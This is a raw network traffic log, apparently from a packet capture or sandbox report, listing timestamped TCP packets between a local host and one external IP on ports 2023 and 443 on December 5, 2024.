Dec 5, 2024 10:47:14.678867102 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:14.678909063 CET	49778	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:14.678994894 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:14.679898977 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:14.679943085 CET	49778	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:14.680006981 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:14.680751085 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:14.680771112 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:14.680793047 CET	49778	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:14.681654930 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:14.681699038 CET	49778	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:14.681845903 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:14.682595015 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:14.682636023 CET	49778	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:14.682681084 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:14.683537960 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:14.683578968 CET	49778	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:14.683608055 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:14.684791088 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:14.684834003 CET	49778	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:14.684948921 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:14.685616016 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:14.685658932 CET	49778	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:14.685698986 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:14.686376095 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:14.686418056 CET	49778	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:14.686482906 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:14.687330008 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:14.687372923 CET	49778	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:14.687422991 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:14.688368082 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:14.688409090 CET	49778	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:14.688414097 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:14.689186096 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:14.689228058 CET	49778	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:14.689382076 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:14.690143108 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:14.690186977 CET	49778	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:14.690274954 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:14.691086054 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:14.691119909 CET	49778	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:14.691497087 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:14.691994905 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:14.692035913 CET	49778	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:14.692138910 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:14.693000078 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:14.693041086 CET	49778	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:14.693063021 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:14.693881035 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:14.693928957 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:14.693924904 CET	49778	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:14.694864035 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:14.694905043 CET	49778	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:14.694998026 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:14.695806026 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:14.695849895 CET	49778	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:14.695899010 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:14.696728945 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:14.696774006 CET	49778	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:14.696887016 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:14.697678089 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:14.697717905 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:14.697721958 CET	49778	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:14.698631048 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:14.698683977 CET	49778	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:14.698702097 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:14.699641943 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:14.699687958 CET	49778	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:14.699724913 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:14.700505972 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:14.700553894 CET	49778	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:14.700731039 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:14.701441050 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:14.701492071 CET	49778	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:14.701560974 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:14.702406883 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:14.702480078 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:14.702488899 CET	49778	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:14.703424931 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:14.703465939 CET	49778	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:14.703521013 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:14.704293013 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:14.704338074 CET	49778	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:14.704371929 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:14.705270052 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:14.705312967 CET	49778	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:14.705404043 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:14.706170082 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:14.706214905 CET	49778	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:14.706355095 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:14.707096100 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:14.707143068 CET	49778	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:14.707179070 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:14.708129883 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:14.708174944 CET	49778	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:14.708242893 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:14.708998919 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:14.709043026 CET	49778	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:14.709146976 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:14.709942102 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:14.709980965 CET	49778	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:14.709990978 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:14.710870028 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:14.710915089 CET	49778	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:14.711013079 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:14.711802006 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:14.711850882 CET	49778	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:14.711877108 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:14.712749958 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:14.712794065 CET	49778	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:14.712850094 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:14.713699102 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:14.713741064 CET	49778	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:14.713767052 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:14.714667082 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:14.714713097 CET	49778	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:14.856189966 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:14.856206894 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:14.856359005 CET	49778	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:14.856538057 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:14.856602907 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:14.856777906 CET	49778	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:14.857496023 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:14.857774973 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:14.857821941 CET	49778	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:14.858431101 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:14.858747005 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:14.858789921 CET	49778	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:14.858952045 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:14.859760046 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:14.859879971 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:14.859927893 CET	49778	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:14.860622883 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:14.860673904 CET	49778	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:14.860755920 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:14.861557007 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:14.861599922 CET	49778	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:14.861650944 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:14.862524033 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:14.862566948 CET	49778	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:14.862637997 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:14.863471031 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:14.863514900 CET	49778	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:14.863588095 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:14.864402056 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:14.864453077 CET	49778	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:14.864654064 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:14.865382910 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:14.865425110 CET	49778	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:14.865442038 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:14.866345882 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:14.866400003 CET	49778	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:14.866578102 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:14.867242098 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:14.867283106 CET	49778	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:14.867480040 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:14.868168116 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:14.868210077 CET	49778	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:14.868278980 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:14.869321108 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:14.869362116 CET	49778	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:14.869436026 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:14.870064974 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:14.870115995 CET	49778	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:14.870138884 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:14.870980978 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:14.871026039 CET	49778	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:14.871185064 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:14.871922970 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:14.871958017 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:14.871967077 CET	49778	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:14.872895956 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:14.872939110 CET	49778	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:14.872956038 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:14.873835087 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:14.873876095 CET	49778	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:14.873883009 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:14.874813080 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:14.874861002 CET	49778	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:14.874891996 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:14.875950098 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:14.876012087 CET	49778	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:14.876039028 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:14.876701117 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:14.876837015 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:14.876895905 CET	49778	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:14.877692938 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:14.877876043 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:14.877929926 CET	49778	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:14.878634930 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:14.878813028 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:14.878868103 CET	49778	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:14.879477024 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:14.879568100 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:14.879621029 CET	49778	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:14.880462885 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:14.880554914 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:14.880606890 CET	49778	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:14.881340981 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:14.881469965 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:14.881522894 CET	49778	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:14.882265091 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:14.882318020 CET	49778	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:14.882395029 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:14.883255959 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:14.883305073 CET	49778	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:14.883331060 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:14.884207010 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:14.884263992 CET	49778	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:14.884308100 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:14.885210037 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:14.885258913 CET	49778	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:14.885329962 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:14.886089087 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:14.886176109 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:14.886224985 CET	49778	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:14.887043953 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:14.887157917 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:14.887206078 CET	49778	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:14.887924910 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:14.887969017 CET	49778	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:14.888055086 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:14.888863087 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:14.891585112 CET	49778	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:15.126327038 CET	49778	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:15.246519089 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:15.246586084 CET	49778	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:15.366452932 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:15.651813984 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:15.652005911 CET	49778	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:15.652050972 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:15.652167082 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:15.652220011 CET	49778	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:15.659734964 CET	49778	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:15.771922112 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:15.771975040 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:16.047933102 CET	49799	443	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:16.047991991 CET	443	49799	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:16.048120975 CET	49799	443	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:16.048266888 CET	49799	443	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:16.048275948 CET	443	49799	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:17.422246933 CET	443	49799	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:17.422337055 CET	49799	443	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:17.426986933 CET	49799	443	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:17.427006006 CET	443	49799	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:17.427341938 CET	443	49799	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:17.428956032 CET	49799	443	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:17.475334883 CET	443	49799	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:22.215686083 CET	443	49799	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:22.215764999 CET	443	49799	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:22.215832949 CET	49799	443	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:22.215867996 CET	49799	443	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:22.215883970 CET	443	49799	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:22.215919971 CET	49799	443	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:22.215925932 CET	443	49799	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:23.219676971 CET	49815	443	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:23.219737053 CET	443	49815	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:23.219815969 CET	49815	443	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:23.219894886 CET	49815	443	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:23.219907045 CET	443	49815	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:24.587743044 CET	443	49815	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:24.587863922 CET	49815	443	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:24.592113972 CET	49815	443	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:24.592127085 CET	443	49815	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:24.592365026 CET	443	49815	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:24.593153000 CET	49815	443	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:24.635333061 CET	443	49815	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:29.395478964 CET	443	49815	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:29.395560980 CET	443	49815	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:29.395632029 CET	49815	443	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:29.395751953 CET	49815	443	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:29.395771027 CET	443	49815	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:29.395817995 CET	49815	443	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:29.395823956 CET	443	49815	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:30.391537905 CET	49836	443	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:30.391583920 CET	443	49836	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:30.391679049 CET	49836	443	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:30.391758919 CET	49836	443	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:30.391767025 CET	443	49836	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:31.825170040 CET	443	49836	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:31.825294971 CET	49836	443	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:31.829663992 CET	49836	443	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:31.829677105 CET	443	49836	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:31.829951048 CET	443	49836	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:31.830719948 CET	49836	443	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:31.875330925 CET	443	49836	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:36.622203112 CET	443	49836	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:36.622284889 CET	443	49836	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:36.622347116 CET	49836	443	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:36.622426987 CET	49836	443	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:36.622445107 CET	443	49836	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:37.626065969 CET	49852	443	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:37.626115084 CET	443	49852	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:37.626211882 CET	49852	443	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:37.626319885 CET	49852	443	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:37.626329899 CET	443	49852	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:38.998884916 CET	443	49852	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:38.998980045 CET	49852	443	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:39.003485918 CET	49852	443	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:39.003501892 CET	443	49852	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:39.003825903 CET	443	49852	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:39.004597902 CET	49852	443	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:39.047342062 CET	443	49852	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:43.795239925 CET	443	49852	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:43.795330048 CET	443	49852	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:43.795438051 CET	49852	443	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:43.795475006 CET	49852	443	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:43.795495033 CET	443	49852	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:43.795523882 CET	49852	443	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:43.795536041 CET	443	49852	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:44.797848940 CET	49868	443	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:44.797908068 CET	443	49868	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:44.797995090 CET	49868	443	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:44.798064947 CET	49868	443	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:44.798070908 CET	443	49868	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:46.164794922 CET	443	49868	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:46.164920092 CET	49868	443	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:46.168864965 CET	49868	443	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:46.168878078 CET	443	49868	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:46.169142962 CET	443	49868	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:46.169941902 CET	49868	443	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:46.215329885 CET	443	49868	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:50.964152098 CET	443	49868	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:50.964240074 CET	443	49868	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:50.964335918 CET	49868	443	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:50.964394093 CET	49868	443	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:50.964394093 CET	49868	443	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:50.964418888 CET	443	49868	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:50.964426994 CET	443	49868	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:51.954000950 CET	49885	443	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:51.954025030 CET	443	49885	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:51.954108000 CET	49885	443	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:51.954191923 CET	49885	443	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:51.954200029 CET	443	49885	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:53.329868078 CET	443	49885	45.149.241.141	192.168.2.4
